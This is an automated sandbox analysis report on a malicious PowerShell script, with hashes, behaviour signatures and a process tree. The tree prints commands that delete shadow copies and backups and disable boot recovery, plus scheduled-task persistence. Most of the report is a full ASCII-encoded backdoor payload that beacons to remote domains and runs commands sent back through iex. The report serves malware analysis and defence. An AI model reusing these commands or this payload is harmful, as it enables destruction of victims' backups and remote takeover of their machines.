Resubmissions

19/05/2025, 17:18

250519-vvaf1a1qt3 9

09/10/2022, 09:36

221009-lkw3ksggb6 9

Analysis

  • max time kernel
    43s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    09/10/2022, 09:36

General

  • Target

    74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba.ps1

  • Size

    6KB

  • MD5

    ede5c49bec4a648e32a4f52f95fea2db

  • SHA1

    641a51392d97a3470021eeb76606fc4035441a6c

  • SHA256

    74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba

  • SHA512

    dcac1452c4dfcff8a76b863a90dd8034d18a6b649c2188738beae831ec4ad823d92bdde433cb35851aadfffc521f2ac403fd5b0867610c8ac4984fcca2b239f6

  • SSDEEP

    192:4PI7/sZhGh7ZdfI+zu8UPN+u8c6Ha+btyUPuxYWst5bDRh99I:4PI7/KhGdg+z/UPg/JfZPostxDc

Score
9/10

Malware Config

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes System State backups 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Deletes system backups 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Drops file in Windows directory 6 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 19 /du 23:59 /TR %PUBLIC%\Libraries\WindowsIndexingService.vbs
      2⤵
      • Creates scheduled task(s)
      PID:1488
    • C:\Windows\system32\bcdedit.exe
      "C:\Windows\system32\bcdedit.exe" /set yifydxwzg bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1756
    • C:\Windows\system32\bcdedit.exe
      "C:\Windows\system32\bcdedit.exe" /set yifydxwzg recoveryenabled no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:848
    • C:\Windows\system32\wbadmin.exe
      "C:\Windows\system32\wbadmin.exe" delete catalog -quiet
      2⤵
      • Deletes backup catalog
      PID:1204
    • C:\Windows\system32\wbadmin.exe
      "C:\Windows\system32\wbadmin.exe" delete systemstatebackup
      2⤵
      • Deletes System State backups
      • Drops file in Windows directory
      PID:1344
    • C:\Windows\system32\wbadmin.exe
      "C:\Windows\system32\wbadmin.exe" delete backup
      2⤵
      • Deletes system backups
      • Drops file in Windows directory
      PID:1524
    • C:\Windows\system32\vssadmin.exe
      "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:1164
    • C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" %PUBLIC%\Libraries\WindowsIndexingService.vbs
      2⤵
        PID:1616
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c =[string][System.Text.Encoding]::ASCII.GetString 36 100 97 99 121 122 122 97 118 105 104 32 61 32 36 101 110 118 58 80 85 66 76 73 67 32 43 32 34 92 76 105 98 114 97 114 105 101 115 34 10 105 102 32 40 45 110 111 116 32 40 84 101 115 116 45 80 97 116 104 32 36 100 97 99 121 122 122 97 118 105 104 41 41 32 123 32 109 100 32 36 100 97 99 121 122 122 97 118 105 104 59 32 125 10 36 104 118 121 102 97 118 100 32 61 32 36 100 97 99 121 122 122 97 118 105 104 32 43 32 34 92 87 105 110 100 111 119 115 73 110 100 101 120 105 110 103 83 101 114 118 105 99 101 46 118 98 115 34 59 10 36 119 119 115 100 100 100 97 99 121 99 32 32 61 32 34 49 48 48 49 46 51 34 59 10 36 98 116 101 100 115 118 97 116 102 97 32 61 32 36 101 110 118 58 116 101 109 112 32 43 32 34 92 65 70 88 53 48 48 53 56 46 116 109 112 34 59 10 36 122 102 116 97 115 106 101 32 32 61 32 36 100 97 99 121 122 122 97 118 105 104 32 43 32 34 92 116 104 117 109 98 99 97 99 104 101 95 54 52 46 100 98 34 59 10 36 109 121 117 114 108 112 111 115 116 32 61 32 36 102 97 108 115 101 59 10 36 115 102 118 104 120 117 100 101 32 61 32 34 119 34 59 10 10 102 117 110 99 116 105 111 110 32 105 97 109 119 111 114 107 50 123 32 115 99 32 45 80 97 116 104 32 36 98 116 101 100 115 118 97 116 102 97 32 45 86 97 108 117 101 32 36 40 71 101 116 45 68 97 116 101 41 59 32 125 59 10 102 117 110 99 116 105 111 110 32 100 121 97 120 117 98 116 105 106 118 40 32 36 119 103 104 102 117 99 101 102 117 32 41 123 10 32 32 105 102 40 32 36 119 103 104 102 117 99 101 102 117 32 45 109 97 116 99 104 32 39 79 117 116 79 102 77 101 109 111 114 121 69 120 99 101 112 116 105 111 110 39 32 41 123 10 32 32 32 32 114 105 32 45 80 97 116 104 32 36 98 116 101 100 115 118 97 116 102 97 32 45 70 111 114 99 101 59 10 32 32 32 32 103 101 116 45 112 114 111 99 101 115 115 32 112 111 119 101 114 115 104 101 108 108 42 32 124 32 115 116 111 112 45 112 114 111 99 101 115 115 59 10 32 32 32 32 101 120 105 116 59 10 32 32 125 59 10 125 10 10 102 117 110 99 116 105 111 110 32 115 101 110 100 112 111 115 116 50 40 32 36 119 103 104 102 117 99 101 102 117 32 41 123 10 32 32 105 102 40 32 33 36 109 121 117 114 108 112 111 115 116 32 41 123 32 114 101 116 117 114 110 32 36 102 97 108 115 101 59 32 125 59 10 32 32 36 105 115 106 100 97 121 117 104 120 101 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 59 10 32 32 36 105 115 106 100 97 121 117 104 120 101 46 67 114 101 100 101 110 116 105 97 108 115 32 61 32 91 83 121 115 116 101 109 46 78 101 116 46 67 114 101 100 101 110 116 105 97 108 67 97 99 104 101 93 58 58 68 101 102 97 117 108 116 67 114 101 100 101 110 116 105 97 108 115 59 10 32 32 36 105 115 106 100 97 121 117 104 120 101 46 72 101 97 100 101 114 115 46 65 100 100 40 34 67 111 110 116 101 110 116 45 84 121 112 101 34 44 32 34 97 112 112 108 105 99 97 116 105 111 110 47 120 45 119 119 119 45 102 111 114 109 45 117 114 108 101 110 99 111 100 101 100 34 41 59 10 32 32 36 105 115 106 100 97 121 117 104 120 101 46 69 110 99 111 100 105 110 103 32 61 32 91 83 121 115 116 101 109 46 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 85 84 70 56 59 10 32 32 116 114 121 123 10 32 32 32 32 36 100 104 104 119 121 120 118 121 32 61 32 36 105 115 106 100 97 121 117 104 120 101 46 85 112 108 111 97 100 83 116 114 105 110 103 40 32 36 109 121 117 114 108 112 111 115 116 44 32 34 108 61 34 43 91 67 111 110 118 101 114 116 93 58 58 84 111 66 97 115 101 54 52 83 116 114 105 110 103 40 91 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 85 84 70 56 46 71 101 116 66 121 116 101 115 40 32 40 32 34 118 61 36 119 119 115 100 100 100 97 99 121 99 38 103 117 105 100 61 36 120 100 115 118 117 118 106 120 122 120 38 34 32 43 32 36 119 103 104 102 117 99 101 102 117 32 41 32 41 32 41 32 41 59 10 32 32 32 32 36 100 104 104 119 121 120 118 121 32 61 32 91 115 116 114 105 110 103 93 91 83 121 115 116 101 109 46 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 65 83 67 73 73 46 71 101 116 83 116 114 105 110 103 40 91 83 121 115 116 101 109 46 67 111 110 118 101 114 116 93 58 58 70 114 111 109 66 97 115 101 54 52 83 116 114 105 110 103 40 32 36 100 104 104 119 121 120 118 121 32 41 32 41 59 10 32 32 32 32 105 102 40 32 33 36 115 102 118 104 120 117 100 101 32 41 123 32 114 101 116 117 114 110 32 36 102 97 108 115 101 59 32 125 10 32 32 32 32 105 102 40 32 36 101 119 106 97 121 120 97 101 119 117 32 45 101 113 32 36 100 104 104 119 121 120 118 121 46 83 117 98 115 116 114 105 110 103 40 48 44 49 54 41 32 41 123 10 32 32 32 32 32 32 114 101 116 117 114 110 32 36 100 104 104 119 121 120 118 121 46 83 117 98 115 116 114 105 110 103 40 49 54 44 36 100 104 104 119 121 120 118 121 46 108 101 110 103 116 104 45 49 54 41 32 59 10 32 32 32 32 125 101 108 115 101 123 10 32 32 32 32 32 32 36 115 102 118 104 120 117 100 101 32 61 32 36 102 97 108 115 101 59 10 32 32 32 32 32 32 115 101 110 100 112 111 115 116 50 32 40 34 101 114 114 111 114 61 34 32 43 32 91 67 111 110 118 101 114 116 93 58 58 84 111 66 97 115 101 54 52 83 116 114 105 110 103 40 91 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 85 84 70 56 46 71 101 116 66 121 116 101 115 40 32 36 100 104 104 119 121 120 118 121 32 41 32 41 32 41 59 10 32 32 32 32 125 10 32 32 125 99 97 116 99 104 123 10 32 32 32 32 100 121 97 120 117 98 116 105 106 118 32 36 95 46 69 120 99 101 112 116 105 111 110 46 77 101 115 115 97 103 101 59 10 32 32 32 32 36 115 102 118 104 120 117 100 101 32 61 32 36 102 97 108 115 101 59 10 32 32 32 32 36 105 115 106 100 97 121 117 104 120 101 46 85 112 108 111 97 100 83 116 114 105 110 103 40 32 36 109 121 117 114 108 112 111 115 116 44 32 34 108 61 34 43 91 67 111 110 118 101 114 116 93 58 58 84 111 66 97 115 101 54 52 83 116 114 105 110 103 40 91 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 85 84 70 56 46 71 101 116 66 121 116 101 115 40 32 40 32 34 118 61 36 119 119 115 100 100 100 97 99 121 99 38 103 117 105 100 61 36 120 100 115 118 117 118 106 120 122 120 38 101 114 114 111 114 61 115 101 110 100 112 111 115 116 50 58 34 32 43 32 36 109 121 117 114 108 112 111 115 116 43 34 58 34 43 36 100 104 104 119 121 120 118 121 32 43 34 58 34 43 32 36 95 46 69 120 99 101 112 116 105 111 110 46 77 101 115 115 97 103 101 32 41 32 41 32 41 32 41 59 10 32 32 125 59 10 32 32 114 101 116 117 114 110 32 36 102 97 108 115 101 59 10 125 59 10 10 102 117 110 99 116 105 111 110 32 122 100 105 102 102 118 97 104 115 40 32 36 121 121 102 104 103 104 119 115 32 41 123 10 32 32 36 106 119 117 115 103 104 100 32 61 32 34 104 116 116 112 58 47 47 107 97 109 97 46 109 105 97 108 101 101 107 97 46 99 111 109 47 34 59 10 32 32 34 104 101 101 34 44 34 120 117 49 34 44 34 104 115 48 34 44 34 106 100 53 34 44 34 109 113 102 34 32 124 32 37 123 32 36 106 119 117 115 103 104 100 32 43 61 32 34 44 34 43 34 104 116 116 112 58 47 47 34 43 32 40 32 91 67 111 110 118 101 114 116 93 58 58 84 111 66 97 115 101 54 52 83 116 114 105 110 103 40 32 91 83 121 115 116 101 109 46 84 101 120 116 46 69 110 99 111 100 105 110 103 93 58 58 85 84 70 56 46 71 101 116 66 121 116 101 115 40 32 36 95 43 32 36 40 71 101 116 45 68 97 116 101 32 45 85 70 111 114 109 97 116 32 34 37 121 37 109 37 86 34 41 32 41 32 41 46 116 111 76 111 119 101 114 40 41 32 41 32 43 34 46 116 111 112 47 34 59 32 125 59 10 32 32 36 106 119 117 115 103 104 100 46 115 112 108 105 116 40 34 44 34 41 32 124 32 37 123 10 32 32 32 32 105 102 40 32 33 36 109 121 117 114 108 112 111 115 116 32 41 123 10 32 32 32 32 32 32 36 109 121 117 114 108 112 111 115 116 32 61 32 36 95 59 10 32 32 32 32 32 32 105 102 40 32 33 40 115 101 110 100 112 111 115 116 50 32 40 36 121 121 102 104 103 104 119 115 32 43 32 34 38 100 111 109 101 110 61 36 109 121 117 114 108 112 111 115 116 34 32 41 41 32 41 123 32 36 109 121 117 114 108 112 111 115 116 32 61 32 36 102 97 108 115 101 59 32 125 59 10 32 32 32 32 32 32 83 116 97 114 116 45 83 108 101 101 112 32 45 115 32 53 59 10 32 32 32 32 125 10 32 32 125 59 10 32 32 105 102 40 32 36 121 121 102 104 103 104 119 115 32 45 109 97 116 99 104 32 34 115 116 97 116 117 115 61 114 101 103 105 115 116 101 114 34 32 41 123 10 32 32 32 32 114 101 116 117 114 110 32 34 111 107 34 59 10 32 32 125 101 108 115 101 123 10 32 32 32 32 114 101 116 117 114 110 32 36 109 121 117 114 108 112 111 115 116 59 10 32 32 125 32 10 125 59 10 10 105 102 32 40 32 84 101 115 116 45 80 97 116 104 32 36 98 116 101 100 115 118 97 116 102 97 32 41 123 10 32 32 105 102 32 40 32 40 32 40 32 78 69 87 45 84 73 77 69 83 80 65 78 32 45 83 116 97 114 116 32 40 40 71 101 116 45 67 104 105 108 100 73 116 101 109 32 36 98 116 101 100 115 118 97 116 102 97 32 41 46 67 114 101 97 116 105 111 110 84 105 109 101 41 32 45 69 110 100 32 40 71 101 116 45 68 97 116 101 41 41 46 77 105 110 117 116 101 115 32 41 32 45 103 116 32 49 53 32 41 123 10 32 32 32 32 114 105 32 45 80 97 116 104 32 36 98 116 101 100 115 118 97 116 102 97 32 45 70 111 114 99 101 59 10 32 32 32 32 116 114 121 123 32 103 101 116 45 112 114 111 99 101 115 115 32 112 111 119 101 114 115 104 101 108 108 42 32 124 32 115 116 111 112 45 112 114 111 99 101 115 115 32 125 99 97 116 99 104 123 125 59 10 32 32 32 32 101 120 105 116 59 10 32 32 125 101 108 115 101 123 32 101 120 105 116 59 32 125 59 10 125 59 10 10 102 117 110 99 116 105 111 110 32 119 98 117 118 104 121 118 40 32 36 120 121 104 103 104 119 118 100 32 41 123 10 32 32 105 102 40 32 36 120 121 104 103 104 119 118 100 32 41 123 10 32 32 32 32 115 99 32 45 80 97 116 104 32 36 122 102 116 97 115 106 101 32 45 86 97 108 117 101 32 40 32 91 103 117 105 100 93 58 58 78 101 119 71 117 105 100 40 41 44 32 40 32 91 103 117 105 100 93 58 58 78 101 119 71 117 105 100 40 41 32 45 114 101 112 108 97 99 101 32 39 45 39 44 39 39 32 41 46 83 117 98 115 116 114 105 110 103 40 48 44 49 54 41 32 32 45 106 111 105 110 32 39 44 39 32 41 32 45 70 111 114 99 101 59 32 32 10 32 32 32 32 103 105 32 36 122 102 116 97 115 106 101 32 45 70 111 114 99 101 32 124 32 32 37 123 32 36 95 46 65 116 116 114 105 98 117 116 101 115 32 61 32 34 72 105 100 100 101 110 34 32 125 59 10 32 32 32 32 116 114 121 123 10 32 32 32 32 32 32 36 116 101 103 98 101 121 120 102 32 61 32 91 69 110 118 105 114 111 110 109 101 110 116 93 58 58 71 101 116 70 111 108 100 101 114 80 97 116 104 40 39 83 116 97 114 116 117 112 39 41 32 43 32 39 92 87 105 110 100 111 119 115 65 112 112 108 105 99 97 116 105 111 110 83 101 114 118 105 99 101 46 108 110 107 39 59 10 32 32 32 32 32 32 105 102 40 32 45 110 111 116 32 40 32 84 101 115 116 45 80 97 116 104 32 36 116 101 103 98 101 121 120 102 32 41 32 41 123 10 32 32 32 32 32 32 32 32 36 122 106 98 98 100 99 105 100 100 119 32 61 32 78 101 119 45 79 98 106 101 99 116 32 45 67 111 109 79 98 106 101 99 116 32 40 39 87 83 99 114 105 112 116 46 83 104 101 108 108 39 41 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 32 61 32 36 122 106 98 98 100 99 105 100 100 119 46 67 114 101 97 116 101 83 104 111 114 116 99 117 116 40 32 36 116 101 103 98 101 121 120 102 32 32 41 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 46 84 97 114 103 101 116 80 97 116 104 32 61 32 36 104 118 121 102 97 118 100 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 46 87 111 114 107 105 110 103 68 105 114 101 99 116 111 114 121 32 61 32 36 100 97 99 121 122 122 97 118 105 104 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 46 87 105 110 100 111 119 83 116 121 108 101 32 61 32 49 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 46 68 101 115 99 114 105 112 116 105 111 110 32 61 32 39 87 105 110 100 111 119 115 32 65 112 112 108 105 99 97 116 105 111 110 32 83 101 114 118 105 99 101 39 59 10 32 32 32 32 32 32 32 32 36 100 115 100 99 98 97 106 119 46 83 97 118 101 40 41 59 10 32 32 32 32 32 32 125 10 32 32 32 32 125 99 97 116 99 104 123 125 59 10 32 32 32 32 36 120 100 115 118 117 118 106 120 122 120 44 32 36 101 119 106 97 121 120 97 101 119 117 32 61 32 40 103 101 116 45 99 111 110 116 101 110 116 32 36 122 102 116 97 115 106 101 41 46 115 112 108 105 116 40 39 44 39 41 59 10 32 32 32 32 36 97 102 105 101 104 104 97 32 61 32 34 115 116 97 116 117 115 61 114 101 103 105 115 116 101 114 38 115 115 105 100 61 36 101 119 106 97 121 120 97 101 119 117 38 111 115 61 34 43 40 91 115 116 114 105 110 103 93 36 80 83 86 101 114 115 105 111 110 84 97 98 108 101 46 66 117 105 108 100 86 101 114 115 105 111 110 41 43 34 38 112 115 118 101 114 61 34 43 40 32 40 32 40 71 101 116 45 72 111 115 116 41 46 86 101 114 115 105 111 110 32 41 46 77 97 106 111 114 32 41 43 32 34 38 99 111 109 112 95 110 97 109 101 61 34 32 43 32 40 40 71 101 116 45 87 109 105 79 98 106 101 99 116 32 45 99 108 97 115 115 32 87 105 110 51 50 95 67 111 109 112 117 116 101 114 83 121 115 116 101 109 32 45 80 114 111 112 101 114 116 121 32 78 97 109 101 41 46 78 97 109 101 46 116 114 105 109 40 41 32 41 59 10 32 32 32 32 105 102 40 32 84 101 115 116 45 80 97 116 104 32 40 32 36 100 97 99 121 122 122 97 118 105 104 32 43 32 34 92 116 104 117 109 98 99 97 99 104 101 95 51 51 46 100 98 34 32 41 32 41 123 10 32 32 32 32 32 32 114 105 32 45 80 97 116 104 32 40 32 36 100 97 99 121 122 122 97 118 105 104 32 43 32 34 92 116 104 117 109 98 99 97 99 104 101 95 51 51 46 100 98 34 32 41 44 32 40 32 36 100 97 99 121 122 122 97 118 105 104 32 43 32 34 92 87 105 110 100 111 119 115 73 110 100 101 120 105 110 103 83 101 114 118 105 99 101 46 106 115 34 32 41 32 45 70 111 114 99 101 59 10 32 32 32 32 32 32 116 114 121 123 32 115 99 104 116 97 115 107 115 46 101 120 101 32 47 100 101 108 101 116 101 32 47 84 78 32 34 87 105 110 100 111 119 115 73 110 100 101 120 105 110 103 83 101 114 118 105 99 101 34 32 47 102 32 125 99 97 116 99 104 123 125 10 32 32 32 32 32 32 116 114 121 123 32 115 99 104 116 97 115 107 115 46 101 120 101 32 47 100 101 108 101 116 101 32 47 84 78 32 34 87 105 110 100 111 119 115 32 73 110 100 101 120 105 110 103 32 83 101 114 118 105 99 101 34 32 47 102 32 125 99 97 116 99 104 123 125 10 32 32 32 32 32 32 105 102 40 32 84 101 115 116 45 80 97 116 104 32 40 32 91 69 110 118 105 114 111 110 109 101 110 116 93 58 58 71 101 116 70 111 108 100 101 114 80 97 116 104 40 39 83 116 97 114 116 117 112 39 41 32 43 32 39 92 87 105 110 100 111 119 115 73 110 100 101 120 105 110 103 83 101 114 118 105 99 101 46 108 110 107 39 32 41 32 32 41 123 10 32 32 32 32 32 32 32 32 114 105 32 45 80 97 116 104 32 40 32 91 69 110 118 105 114 111 110 109 101 110 116 93 58 58 71 101 116 70 111 108 100 101 114 80 97 116 104 40 39 83 116 97 114 116 117 112 39 41 32 43 32 39 92 87 105 110 100 111 119 115 73 110 100 101 120 105 110 103 83 101 114 118 105 99 101 46 108 110 107 39 32 41 32 45 70 111 114 99 101 59 10 32 32 32 32 32 32 125 10 32 32 32 32 125 10 32 32 32 32 36 116 116 100 105 104 120 99 121 98 101 32 61 32 122 100 105 102 102 118 97 104 115 32 36 97 102 105 101 104 104 97 59 10 32 32 32 32 105 102 40 32 36 116 116 100 105 104 120 99 121 98 101 32 45 110 101 32 34 111 107 34 41 123 10 32 32 32 32 32 32 114 105 32 45 80 97 116 104 32 36 122 102 116 97 115 106 101 32 45 70 111 114 99 101 59 10 32 32 32 32 32 32 101 120 105 116 59 10 32 32 32 32 125 10 32 32 125 10 32 32 114 101 116 117 114 110 32 40 103 101 116 45 99 111 110 116 101 110 116 32 36 122 102 116 97 115 106 101 41 46 115 112 108 105 116 40 39 44 39 41 59 10 125 10 36 118 100 97 105 116 104 102 32 61 32 40 115 99 104 116 97 115 107 115 46 101 120 101 32 47 99 114 101 97 116 101 32 47 84 78 32 34 87 105 110 100 111 119 115 65 112 112 108 105 99 97 116 105 111 110 83 101 114 118 105 99 101 34 32 47 115 99 32 68 65 73 76 89 32 47 115 116 32 48 48 58 48 48 32 47 102 32 47 82 73 32 49 57 32 47 100 117 32 50 51 58 53 57 32 47 84 82 32 36 104 118 121 102 97 118 100 41 59 32 10 105 102 32 40 32 84 101 115 116 45 80 97 116 104 32 36 122 102 116 97 115 106 101 32 41 123 10 32 32 36 120 100 115 118 117 118 106 120 122 120 44 32 36 101 119 106 97 121 120 97 101 119 117 32 61 32 32 119 98 117 118 104 121 118 32 36 102 97 108 115 101 59 10 32 32 105 102 40 32 36 101 119 106 97 121 120 97 101 119 117 46 108 101 110 103 116 104 32 45 110 101 32 49 54 32 32 41 123 32 36 120 100 115 118 117 118 106 120 122 120 44 32 36 101 119 106 97 121 120 97 101 119 117 32 61 32 32 119 98 117 118 104 121 118 32 36 116 114 117 101 59 32 125 10 125 101 108 115 101 123 10 32 32 36 120 100 115 118 117 118 106 120 122 120 44 32 36 101 119 106 97 121 120 97 101 119 117 32 61 32 32 119 98 117 118 104 121 118 32 36 116 114 117 101 59 10 125 10 36 109 121 117 114 108 112 111 115 116 32 61 32 122 100 105 102 102 118 97 104 115 59 10 119 104 105 108 101 40 32 36 115 102 118 104 120 117 100 101 32 41 123 10 32 32 105 97 109 119 111 114 107 50 59 10 32 32 116 114 121 123 10 32 32 32 32 105 102 40 32 36 115 102 118 104 120 117 100 101 32 45 97 110 100 32 40 36 115 102 118 104 120 117 100 101 46 108 101 110 103 116 104 32 45 103 116 32 51 48 41 32 32 41 123 10 32 32 32 32 32 32 105 101 120 32 36 115 102 118 104 120 117 100 101 59 10 32 32 32 32 125 59 10 32 32 125 99 97 116 99 104 123 32 100 121 97 120 117 98 116 105 106 118 32 36 95 46 69 120 99 101 112 116 105 111 110 46 77 101 115 115 97 103 101 59 32 125 59 10 32 32 83 116 97 114 116 45 83 108 101 101 112 32 45 115 32 50 56 48 59 10 32 32 36 115 102 118 104 120 117 100 101 32 61 32 115 101 110 100 112 111 115 116 50 59 10 125 59 10 114 105 32 45 80 97 116 104 32 36 98 116 101 100 115 118 97 116 102 97 32 45 70 111 114 99 101 59 10
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1628
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:572
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:824
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
          PID:1784
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1648

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                Filesize

                7KB

                MD5

                ee70d11d85ab576b1b2614b2f0e2e878

                SHA1

                985253c1e0eff325a7b7e0092e2dc055c00cf620

                SHA256

                1442116d3e52e3c305f649a8e2feef751fd9a8b17020147ac0f422184187b472

                SHA512

                01d7c66d57d0b70d9bf186f314c621a99737e0f271d424282ee4bfb970e84e8cdbac92c4384b0f56ed683f3315c51dbe6439014984baf59a1ad7eac12b707cbf

              • memory/1628-73-0x000007FEF33C0000-0x000007FEF3DE3000-memory.dmp

                Filesize

                10.1MB

              • memory/1628-74-0x000007FEF2860000-0x000007FEF33BD000-memory.dmp

                Filesize

                11.4MB

              • memory/1628-75-0x0000000002884000-0x0000000002887000-memory.dmp

                Filesize

                12KB

              • memory/1628-76-0x0000000002884000-0x0000000002887000-memory.dmp

                Filesize

                12KB

              • memory/1628-77-0x000000000288B000-0x00000000028AA000-memory.dmp

                Filesize

                124KB

              • memory/2012-63-0x0000000002110000-0x0000000002190000-memory.dmp

                Filesize

                512KB

              • memory/2012-57-0x0000000002110000-0x0000000002190000-memory.dmp

                Filesize

                512KB

              • memory/2012-56-0x000007FEF2860000-0x000007FEF33BD000-memory.dmp

                Filesize

                11.4MB

              • memory/2012-55-0x000007FEF33C0000-0x000007FEF3DE3000-memory.dmp

                Filesize

                10.1MB

              • memory/2012-54-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

                Filesize

                8KB